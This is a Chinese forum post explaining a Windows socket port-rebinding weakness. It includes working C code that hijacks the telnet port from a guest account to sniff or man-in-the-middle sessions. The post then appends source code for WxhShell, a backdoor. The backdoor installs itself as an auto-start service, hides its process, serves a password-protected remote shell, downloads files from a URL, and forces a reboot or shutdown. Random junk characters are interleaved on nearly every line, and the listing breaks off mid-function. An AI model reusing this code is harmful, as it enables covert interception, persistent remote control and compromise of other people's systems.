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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xU |8.,@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ME*A6/h  
V/yj.aA*@  
  saddr.sin_family = AF_INET; |q Pu*vR  
W?du ]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5)ooE   
0*6Q 8`I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +_ny{i`'  
 Rp6q)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2j$~lI  
2h1P!4W85  
  这意味着什么?意味着可以进行如下的攻击: 5X:3'*  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4j<[3~:0 o  
}+K=>.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Twk<<  
S]Aaf-X_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [ZS.6{vr  
i_av_I-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \9]- (j6[H  
j2mMm/kq\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xxOhGA)  
L),bP fz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ei89Ngp\}  
?h,.1Tb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @QF;m  
As j<u!L  
  #include #{J+BWP\o  
  #include K+Pa b ?  
  #include IaO*{1re  
  #include    6Ia[`x uL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x\YVB',h  
  int main() uFFC.w  
  { c,#Nd@  
  WORD wVersionRequested; m",G;VN  
  DWORD ret; Ho $+[K  
  WSADATA wsaData; BJ{?S{"6%G  
  BOOL val; t|*UlTLm  
  SOCKADDR_IN saddr; k;r[m ,$  
  SOCKADDR_IN scaddr; @@=,bO  
  int err; <]*Jhnx/  
  SOCKET s; D[{"]=-  
  SOCKET sc; Y\F4  
  int caddsize; n2Q ?sV;m  
  HANDLE mt; Bf" ZmG9  
  DWORD tid;   ^1Bk*?Yx\x  
  wVersionRequested = MAKEWORD( 2, 2 ); AnpO?+\HF  
  err = WSAStartup( wVersionRequested, &wsaData ); ,q$2D,dz  
  if ( err != 0 ) { Hro)m"  
  printf("error!WSAStartup failed!\n"); (Z8wMy&:  
  return -1; !$<Kp6  
  } S`vw<u4t  
  saddr.sin_family = AF_INET; $SfY<j,R  
   #hXuGBZEI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [~?6jnp  
4I2#L+W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qBZ;S3  
  saddr.sin_port = htons(23); *Zn,v-d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bnV)f<  
  { ]PbwG  
  printf("error!socket failed!\n"); 3M>y.MS  
  return -1; C}\kp0mz  
  } -o57"r^x  
  val = TRUE; ]NKz5[9D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jRxzZt4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) etk|%%J  
  { !"'@c  
  printf("error!setsockopt failed!\n"); )4H0Bz2G  
  return -1; S e(apQH  
  } &09G9GsnQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :)Da^V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x[$ :^5V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A[f `xE  
f|2QI ~R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eGo$F2C6E  
  { r$%,k*X^ k  
  ret=GetLastError(); g^^^fKUp)  
  printf("error!bind failed!\n"); Ef=4yH?\j  
  return -1; $=Tq<W*c  
  } Zm#,Ike?#  
  listen(s,2); 1h`#H:  
  while(1) !X=93%  
  { mOb@w/f  
  caddsize = sizeof(scaddr); \*c=bz&l  
  //接受连接请求 $[b1_Db  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OGW0lnQ/  
  if(sc!=INVALID_SOCKET) zF&_9VNk=c  
  { sO)!}#,   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YW"nPZNPy~  
  if(mt==NULL) |2I p*  
  { aI\]R:f,  
  printf("Thread Creat Failed!\n"); d/E0opv  
  break; =BzBM`-o  
  } /1r {z1pv\  
  } ]K<7A!+@@p  
  CloseHandle(mt); UBx0Z0Y  
  } mQ\oR|  
  closesocket(s); @! jpJ}  
  WSACleanup(); D~,i I7ac  
  return 0; i^ eDM.#X  
  }   bW zUWLa  
  DWORD WINAPI ClientThread(LPVOID lpParam) ShOB"J-  
  { h5[.G!  
  SOCKET ss = (SOCKET)lpParam;  FO qD  
  SOCKET sc; dkZ[~hEQG-  
  unsigned char buf[4096]; ?q"9ZYX<  
  SOCKADDR_IN saddr; C0L(ti;  
  long num; C3; d.KlV  
  DWORD val; kqLpt  
  DWORD ret; ),0Ea~LB4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'WwD$e0=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;5}"2hU>  
  saddr.sin_family = AF_INET; Q5;EQ .#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {;hR FQ^b  
  saddr.sin_port = htons(23); K Z0%J5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3 FLht L  
  { {!"lHM%  
  printf("error!socket failed!\n"); ,m)YL>k  
  return -1; WQHlf 0]  
  } F/D/1w^ iR  
  val = 100; Y>K3.*.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^2mCF  
  { Y IVN;:B.  
  ret = GetLastError(); $P Tl{  
  return -1; 5R O_)G<  
  } h8HA^><Xr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <2PO3w?Z  
  { MG$Df$R  
  ret = GetLastError(); !(qaudX{>k  
  return -1; ]ov"&,J  
  } Yd<q4VJR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _({K6adb  
  { 0+_:^z  
  printf("error!socket connect failed!\n"); Mj:=$}rs^  
  closesocket(sc); m# I  
  closesocket(ss); lLuAgds`  
  return -1; g=kuM  
  } ,in"8aT}~  
  while(1) WO{9S%ck  
  { 50`<[w<J q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U\;mM\2rE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~`VD}{[,B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CGCSfoS9f  
  num = recv(ss,buf,4096,0); 1.q a//'RW  
  if(num>0) 4:qM'z  
  send(sc,buf,num,0); c+]5[6  
  else if(num==0) FQikFy(YY  
  break; = k>ygD_  
  num = recv(sc,buf,4096,0); sTF Ru  
  if(num>0) \oAxmvt  
  send(ss,buf,num,0); {b26DKkQS  
  else if(num==0) 8,&QY%8pX  
  break; "\x\P)j0>  
  } nV?e(}D  
  closesocket(ss); YX6[m6L U  
  closesocket(sc); =VDtZSa!$^  
  return 0 ; !\N|$-M  
  } n ,CMGe^:  
#6qLu  
8nHFNOv6  
========================================================== X5Ff2@."y|  
uHpSE?y/  
下边附上一个代码,,WXhSHELL ? Glkhf7(  
Km,:7#aV  
========================================================== /*) =o+  
^1w*$5YI  
#include "stdafx.h" zrCQEQq  
h**mAa0fo  
#include <stdio.h> >EIV`|b$h  
#include <string.h> mRC6m K>  
#include <windows.h> A+1>n^^_<  
#include <winsock2.h> pbb6?R,  
#include <winsvc.h> IBe0?F #  
#include <urlmon.h> tD !$!\`O  
1r;.r|  
#pragma comment (lib, "Ws2_32.lib") p}R3A J  
#pragma comment (lib, "urlmon.lib") 0`l(c  
\Dn an5H/  
#define MAX_USER   100 // 最大客户端连接数 Na2n4x!  
#define BUF_SOCK   200 // sock buffer F B7.b  
#define KEY_BUFF   255 // 输入 buffer Ww$ ?X LF  
YkbZ 2J*-  
#define REBOOT     0   // 重启 .f]2%utHB  
#define SHUTDOWN   1   // 关机 6N.+  
60&4?<lR4  
#define DEF_PORT   5000 // 监听端口 "<I*ViZ  
#-Nc1+gu   
#define REG_LEN     16   // 注册表键长度 CNF3".a  
#define SVC_LEN     80   // NT服务名长度 gw);b)&mx  
YXWlg%s  
// 从dll定义API u4p){|x7s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .~Z@y#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F),wj8#~>-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a4iq_F#NF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "vG~2J  
R-2V C  
// wxhshell配置信息 {]CO;5:  
struct WSCFG { z^r  
  int ws_port;         // 监听端口 V}UYr Va#9  
  char ws_passstr[REG_LEN]; // 口令 c- {;P>L  
  int ws_autoins;       // 安装标记, 1=yes 0=no RTR@p =ck  
  char ws_regname[REG_LEN]; // 注册表键名 ?h4Rh0rkX  
  char ws_svcname[REG_LEN]; // 服务名 8f0Ytfhw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oDEvhN T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <X,0\U!lL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )0W-S9e<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,>Lj>g{~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #XJ`/\E]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;_vo2zl1  
*(sUz?t  
}; f~NGIlgR  
4]$$ar)  
// default Wxhshell configuration BE]PM nI  
struct WSCFG wscfg={DEF_PORT, bAa+MB#A  
    "xuhuanlingzhe", ;jgJI~3l  
    1, };=44E'7  
    "Wxhshell", (]l}QR%Bxu  
    "Wxhshell", XV> )[Nd\H  
            "WxhShell Service", D7"RZF\)  
    "Wrsky Windows CmdShell Service", DNN60NX 5Q  
    "Please Input Your Password: ", v!EE[[  
  1, ;=[~2*8  
  "http://www.wrsky.com/wxhshell.exe", ^cy.iolt  
  "Wxhshell.exe" $WV N4fg  
    }; }.j09[<  
4pfv?!Oj  
// 消息定义模块 ~3u'=u9l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IfdgMELk  
char *msg_ws_prompt="\n\r? for help\n\r#>";  #nS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f4TNy^-  
char *msg_ws_ext="\n\rExit."; +bbhm0f  
char *msg_ws_end="\n\rQuit."; 6GZ zNhz  
char *msg_ws_boot="\n\rReboot..."; iEJY[P1  
char *msg_ws_poff="\n\rShutdown..."; JNYFu0  
char *msg_ws_down="\n\rSave to "; -:|1>og  
(t\ F>A  
char *msg_ws_err="\n\rErr!"; >pV|c\  
char *msg_ws_ok="\n\rOK!"; X_0Ta_u?T  
9. 7XRxR^  
char ExeFile[MAX_PATH]; rprtp5Cg  
int nUser = 0; "7*cF>FE8  
HANDLE handles[MAX_USER]; _ IqUp Y  
int OsIsNt; ma<+!*|   
0rtP :Nj$  
SERVICE_STATUS       serviceStatus; `f9I#B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @+3@Z?!SZ  
wSMP^kG  
// 函数声明 P,ox) )+6  
int Install(void); 2sOV3~bB  
int Uninstall(void); b:,S  
int DownloadFile(char *sURL, SOCKET wsh); h* to%N  
int Boot(int flag); > %~%O`+  
void HideProc(void); n2JwZ?  
int GetOsVer(void); BWbM$@'x  
int Wxhshell(SOCKET wsl); `6.rTs $<  
void TalkWithClient(void *cs); 7;UUS1  
int CmdShell(SOCKET sock); Q@in?};  
int StartFromService(void); Xy>+r[$D:  
int StartWxhshell(LPSTR lpCmdLine); ,c%>M^d  
8p?Fql}F [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j(`L)/|O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XCGJ~  
=3Y:DPMB  
// 数据结构和表定义 86s.qPB0  
SERVICE_TABLE_ENTRY DispatchTable[] = pL {h1^O}  
{ _IA@X. )?  
{wscfg.ws_svcname, NTServiceMain}, .7ZV: m  
{NULL, NULL} =c-,uW11[  
}; Q)7iu  
b-1cA1#_cP  
// 自我安装 Hvn{aLa.  
int Install(void) b`@aiXN)+  
{ [,Io!O  
  char svExeFile[MAX_PATH]; q&h&GZ  
  HKEY key; VPB,8zb ]  
  strcpy(svExeFile,ExeFile); HbRDa  
h|_E>6d)  
// 如果是win9x系统,修改注册表设为自启动 vpoeK'bi,  
if(!OsIsNt) { ;'.[h*u~<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1CkBfK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6iiH+Nc  
  RegCloseKey(key); y^o*wz:D*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W?5u O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T9@W,0#  
  RegCloseKey(key); 1N#KVvK  
  return 0; nMK,g>wp  
    } NArql  
  } TNA?fm  
} #Z'r;YOzs  
else { y{.s 4NT  
q;dg,Om  
// 如果是NT以上系统,安装为系统服务 L#Mul&r3x0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vjy59m  
if (schSCManager!=0) 6dG:3n}  
{ ;+%(@C51GE  
  SC_HANDLE schService = CreateService p#VA-RSUQ|  
  ( =Fq"lq %  
  schSCManager, S}q6CG7 u  
  wscfg.ws_svcname, ]-Z="YPY  
  wscfg.ws_svcdisp, 2]Nc@wX`p  
  SERVICE_ALL_ACCESS, f?_UT}n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T+_pmDDN  
  SERVICE_AUTO_START, Sga/i?!  
  SERVICE_ERROR_NORMAL, WUQlAsme  
  svExeFile, S\"/=|\  
  NULL, ggr\nY  
  NULL, O@@=ZyYwc  
  NULL, T}ZUw;}BL  
  NULL, wf4?{H  
  NULL I`?6>Z+%)  
  ); dqU bJc]  
  if (schService!=0) ,&Iw5E[  
  { lx8@;9fLy  
  CloseServiceHandle(schService); 50 :gk*hy  
  CloseServiceHandle(schSCManager); 29(s^#e8A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (nWi9(}J  
  strcat(svExeFile,wscfg.ws_svcname); l$ABOtM@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t(-`==.R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4ZY0!'be-R  
  RegCloseKey(key); I:4m]q b  
  return 0; 5&WYL  
    } P8l x\DA  
  } %#!`>S)O  
  CloseServiceHandle(schSCManager); G j6(ycaS  
} EV}c,*);y  
} J?d&+mt  
F ] e]  
return 1; h|^RM*x  
} otQulL)T/  
w)A@  
// 自我卸载 ^l}Esz`-M  
int Uninstall(void) ys+ AY^/  
{ _`4jzJ*  
  HKEY key; KkVFY+/)  
%SW"{GnO ^  
if(!OsIsNt) { s8,{8k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W,<P])  
  RegDeleteValue(key,wscfg.ws_regname); !a"RHg:HO  
  RegCloseKey(key); 5l"/lGw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zJE$sB.f  
  RegDeleteValue(key,wscfg.ws_regname); '~2S BX?J  
  RegCloseKey(key); o"5Bg%H  
  return 0; g3r4>SA  
  } 1&S34wJF  
} .VFa,&5;3  
} g`6_Ao8  
else { 7Sc._G{[%  
>j [> 0D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }pP<+U  
if (schSCManager!=0) JZQT}  
{ f9A^0A?c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mK!73<p_  
  if (schService!=0) O>Y Xvu  
  { fmuAX w>  
  if(DeleteService(schService)!=0) { 5(@P1Bi  
  CloseServiceHandle(schService); ?W  l=F/  
  CloseServiceHandle(schSCManager); wB(A['k  
  return 0; i *W9 4  
  } 9cJzL"yi  
  CloseServiceHandle(schService); yDwG,)m 4s  
  } ghXh nxG  
  CloseServiceHandle(schSCManager); Ne^md  
} Ey5E1$w%&  
} x.Sq2rw]V  
r^<W$-#  
return 1; <S*o}:iB  
} 2rS|V|d  
Q+d9D1b  
// 从指定url下载文件 q&.SB`  
int DownloadFile(char *sURL, SOCKET wsh) yqdh LX|Mk  
{ Dps0$f c  
  HRESULT hr; F<'@T,LVc  
char seps[]= "/"; -p|@Enn  
char *token; . }QR~IR'  
char *file; Ra\>^W6z  
char myURL[MAX_PATH]; }"?v=9.G  
char myFILE[MAX_PATH]; CO25  
:Oz! M&Ov  
strcpy(myURL,sURL); "Dbjp5_  
  token=strtok(myURL,seps); ^j1?LB  
  while(token!=NULL) XWQp-H.  
  { <mE)& 7C  
    file=token; $_N<! h*\  
  token=strtok(NULL,seps); lNtZd?=>  
  } ulM6R/ V:?  
9Ra_[1  
GetCurrentDirectory(MAX_PATH,myFILE); VH&6Tm1  
strcat(myFILE, "\\"); X|Gsf= 1S  
strcat(myFILE, file); =Z ^=  
  send(wsh,myFILE,strlen(myFILE),0); :G#>):  
send(wsh,"...",3,0); Fs rGI (x?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); chE~UQ  
  if(hr==S_OK) Og8:  
return 0; Q_<CG[,6D1  
else l@-J&qG  
return 1; =i jGB~  
b<UZD yN~  
} 4zyy   
H]a;<V9[  
// 系统电源模块 <&3qFK*9r  
int Boot(int flag) tWkD@w`Lnn  
{ kFPZ$8e  
  HANDLE hToken; D{~mJDUzK  
  TOKEN_PRIVILEGES tkp; g%1FTl  
a%2r]:?^?  
  if(OsIsNt) { " $5J7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [([?+Ouy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C!N&uNp@s  
    tkp.PrivilegeCount = 1; !Kv.v7'N/k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eup#.#J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sMh3IL9(*  
if(flag==REBOOT) { YKbR#DC\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }0Isi G  
  return 0; 1-C 2Y `  
} ~Ein)5  
else { L5C4#X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;5tSXgGw7  
  return 0; yE3g0@*  
} 1X\dH<B}  
  } |n-NK&Y(o  
  else { "i$Av m  
if(flag==REBOOT) { U[9`:aV;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3{o5AsVv  
  return 0; hz8Y2Ew  
} /I~iUND"G  
else { $Oa} U3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HpI[Af}l  
  return 0; d)m +Hc.  
} ,ZyTYD|7  
} m_~!Lj[u.  
aL@myq.  
return 1; yRaB\'  
} b;#Z/phix  
+o)o4l%3  
// win9x进程隐藏模块 F3/aq+<P[  
void HideProc(void) )24r^21.q  
{ {f] K3V  
Q jMH1S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DYlu`j_ux  
  if ( hKernel != NULL ) ,yW BO  
  { ;RNU`I p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C Sx V^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YUdCrb9F  
    FreeLibrary(hKernel); <^+~? KDZM  
  } *"#62U6  
omQa N#!,  
return; Afi;s. ,  
} 7a.$tT  
p b:mw$XQ7  
// 获取操作系统版本 ej dYh $  
int GetOsVer(void) 26|2r  
{ Wi_5.=  
  OSVERSIONINFO winfo; w=>~pYASH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h?[3{Z^  
  GetVersionEx(&winfo); 7!Z\B-_,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 47s<xQy  
  return 1; p$dVGvM(  
  else 4;@|tC|u  
  return 0; in_~,fd  
} *Iv.W7 [  
"HTp1  
// 客户端句柄模块 mB &nN+MV  
int Wxhshell(SOCKET wsl) T-x1jC!B'  
{ T4n.C~  
  SOCKET wsh; (6i)m c(  
  struct sockaddr_in client; 4G;FpWQm  
  DWORD myID; Htn'(Q  
)3g7dtq}  
  while(nUser<MAX_USER) jH26-b<  
{ L|4kv  
  int nSize=sizeof(client); W,~s0a!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nx>WOb98  
  if(wsh==INVALID_SOCKET) return 1; 'vKB]/e;  
<I .p{Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )%'Lm  
if(handles[nUser]==0) |&vQ1o|}  
  closesocket(wsh); ro{q':Z3  
else b6%T[B B  
  nUser++; w5,p9f}.  
  } gIv :<EJ9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UO(B>Abp  
w5uOi}T\  
  return 0; yyZ}qnbx]  
} .`4N#EjP  
1{\{'EP{  
// 关闭 socket u=B_cA}:  
void CloseIt(SOCKET wsh) z^=.05jB  
{ o3*IfD  
closesocket(wsh); K$_Rno"  
nUser--; It,m %5 Py  
ExitThread(0); .])ubK_9  
} ]eA<  
weCRhA  
// 客户端请求句柄 (5[|h  
void TalkWithClient(void *cs) ]Hk8XT@Q+  
{  R~u0!  
#W`>vd}  
  SOCKET wsh=(SOCKET)cs; |0:&d w?*!  
  char pwd[SVC_LEN]; Pnq[r2#]:  
  char cmd[KEY_BUFF]; gzqx{ ]  
char chr[1]; 4Fhiac  
int i,j; Kl.xe&t@j  
F. X{(8  
  while (nUser < MAX_USER) { O)C y4[  
\ F=w~ $)  
if(wscfg.ws_passstr) { UKyOkuY:w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (9q61z A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0KqGJ :Ru  
  //ZeroMemory(pwd,KEY_BUFF); F XJI,(:-  
      i=0; WHxq-&=  
  while(i<SVC_LEN) { Ro :/J  
Sd?:+\bS;  
  // 设置超时 t{?UNW  
  fd_set FdRead; i-!Z/,oL  
  struct timeval TimeOut; Q`ERI5b6  
  FD_ZERO(&FdRead); 1c);![O  
  FD_SET(wsh,&FdRead); `-!t8BH  
  TimeOut.tv_sec=8; @2Xw17[f35  
  TimeOut.tv_usec=0; >*rsRR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vH_QSx;C#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YGrmco?G  
d K|6p_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )f]E<*k'E  
  pwd=chr[0]; ` oN~  
  if(chr[0]==0xd || chr[0]==0xa) { hEAt4z0P  
  pwd=0; A2 r1%}{  
  break; >-rDBk ;K  
  } j3|Ek  
  i++; IT& U%hw  
    } INrl^P*  
5|YpkY  
  // 如果是非法用户,关闭 socket s6SG%Vd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  e#0C  
} tWL3F?wd  
"R@N}q<*v2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cE[B (e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4$9WJ ~V{  
qk~ni8  
while(1) { B4AV ubMbe  
x,YC/J  
  ZeroMemory(cmd,KEY_BUFF); &UH .e  
vfAR^*7e  
      // 自动支持客户端 telnet标准   u'cM}y&  
  j=0; 5D0O.v  
  while(j<KEY_BUFF) { {8D`A;KD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HJ[@;F|aU  
  cmd[j]=chr[0]; dr3#?%  
  if(chr[0]==0xa || chr[0]==0xd) { :lz@G 4 =C  
  cmd[j]=0; '5zolp%St  
  break; 7 J$  
  } ~oO>6  
  j++; d5&avL\  
    } zs!,PQF(  
+O P8U]~  
  // 下载文件 xab1`~%K  
  if(strstr(cmd,"http://")) { $p@V1"x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8'J"+TsOW  
  if(DownloadFile(cmd,wsh)) h-u63b1"?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'RmT3  
  else ig Fz~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !4zSE,1  
  } 2lNZwV7  
  else { t.|b285e  
[5Zs%!Z;8N  
    switch(cmd[0]) { Z 4,nl  
  &P 'cf|KI  
  // 帮助 qP? V{N  
  case '?': { csP 5R3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z{"/Ae5]  
    break; ~/LO @  
  } Gkci_A*  
  // 安装 KSsv~!3Yf  
  case 'i': { Y?Ph%i2E  
    if(Install()) 5e tbJk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'TBt=!=]  
    else %5<uQc9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nojJGeW%  
    break; J8Bz|.@Q  
    } e<wA["^  
  // 卸载 j} ^?3<  
  case 'r': { n[$bk_S  
    if(Uninstall()) ,e\'Y!'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); feg  
    else ,z A9*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}>8FE9S'H  
    break; ph*9,\c8  
    } ia#Z$I6  
  // 显示 wxhshell 所在路径 .}'49=c  
  case 'p': { 7Gg3$E+#*  
    char svExeFile[MAX_PATH]; }pk)\^/w/  
    strcpy(svExeFile,"\n\r"); 8w-2Q  
      strcat(svExeFile,ExeFile); z7B>7}i-  
        send(wsh,svExeFile,strlen(svExeFile),0); 9z>I&vcX  
    break; B!:%^S  
    } kY d'6+m  
  // 重启 hRK&  
  case 'b': { CJ+/j=i;~c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J_PAWW  
    if(Boot(REBOOT)) &/XRiK1"0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2d1Z;@x  
    else { 2>%|PQ  
    closesocket(wsh); H?-Byi  
    ExitThread(0); _:(RkS!x  
    }  6/u]r  
    break; OP:i;%@c  
    } 4^4<Le-G  
  // 关机 C(N' +VV_  
  case 'd': { 5q<cZ)v#&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +fh@m h0[  
    if(Boot(SHUTDOWN)) l|WdJn o  
